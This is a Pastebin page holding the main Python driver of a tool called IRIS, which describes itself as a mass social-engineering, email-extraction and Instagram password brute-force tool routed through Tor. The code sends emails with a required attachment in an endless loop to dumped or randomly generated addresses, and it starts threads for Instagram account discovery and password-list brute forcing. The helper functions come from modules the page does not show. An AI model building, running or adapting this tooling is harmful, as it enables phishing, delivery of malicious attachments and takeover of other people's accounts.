Advertisement
FlyFar

iris

Aug 20th, 2023
899
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.03 KB | Cybersecurity | 0 0
  1. #!/usr/bin/python3
  2.  
  3. """
  4.  
  5. Have a good time reading the source. You are an amazing person.
  6.  
  7. """
  8. desc = """
  9. IRIS
  10.  
  11. Mass Social Engineering tool and Email and Account Extraction (Random Brute Force Discovery) and Password Brute Force through Tor.
  12. """
  13. from iriscore.core import *
  14. from iriscore.instagram import *
  15. import sys
  16. import time
  17. import argparse
  18. import threading
  19.  
  20. if __name__ == "__main__":
  21.  
  22.     def MASS_EMAIL_EXECUTE():
  23.         while(True):
  24.             try:
  25.                 if(result.dumpfile is not None):
  26.                     print("[+] Loading Email Dump file '{s}'.".format(s=result.dumpfile))
  27.                     with open(result.dumpfile, "r") as email_dump:
  28.                         print("[+] Sending emails to targets from the Email dump file.")
  29.                         emails = email_dump.readlines()
  30.                         for email in emails:
  31.                             send_mail(result.email, result.password, email, result.attachment)
  32.                 else:
  33.                     email = random_email()[0]
  34.                     send_mail(result.email, result.password, email, result.attachment)
  35.             except KeyboardInterrupt:
  36.                 print("[^] EXIT.")
  37.                 break
  38.                 exit(0)
  39.             except Exception as e:
  40.                 print("[X] Error : " + str(e))
  41.      
  42.     try:
  43.         print(BANNER())
  44.         parser = argparse.ArgumentParser(
  45.         description=desc
  46.         )
  47.  
  48.         parser.add_argument('-email', dest='email', required=False)
  49.         parser.add_argument('-password', dest='password', required=False)
  50.         parser.add_argument('-dumpfile', dest='dumpfile', required=False)
  51.         parser.add_argument('-attachment',dest='attachment', required=False)
  52.         parser.add_argument("-discover-instagram", dest='discover',required=False)
  53.         parser.add_argument("-bruteforce-instagram",dest='instabf', required=False)
  54.         parser.add_argument("-instagram-user", dest='instauser', required=False)
  55.         parser.add_argument("-instagram-list", dest='instapasslist', required=False)
  56.         result, left = parser.parse_known_args()
  57.  
  58.         if(result.discover is not None):
  59.             threading.Thread(target=BRUTEFORCE_DISCOVERY).start()
  60.         elif(result.instabf is not None):
  61.             if(result.instauser is not None and result.instapasslist is not None):
  62.                 threading.Thread(target=BRUTEFORCE, args=(result.instauser, result.instapasslist)).start()
  63.             else:
  64.                 print("[X] No Specific Account will be brute Forced because no user or password list was specified.")
  65.  
  66.         elif(result.email is not None and result.password is not None):
  67.             if(result.attachment is not None):
  68.                     threading.Thread(target=MASS_EMAIL_EXECUTE).start()
  69.             else:
  70.                 print("[X] No Emails will be sent because no Email attachment was specified, Which is required.")
  71.    
  72.         else:
  73.             print("[X] USAGE : ./iris -h")
  74.     except Exception as e:
  75.         print("[X] ERROR : " + str(e) )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement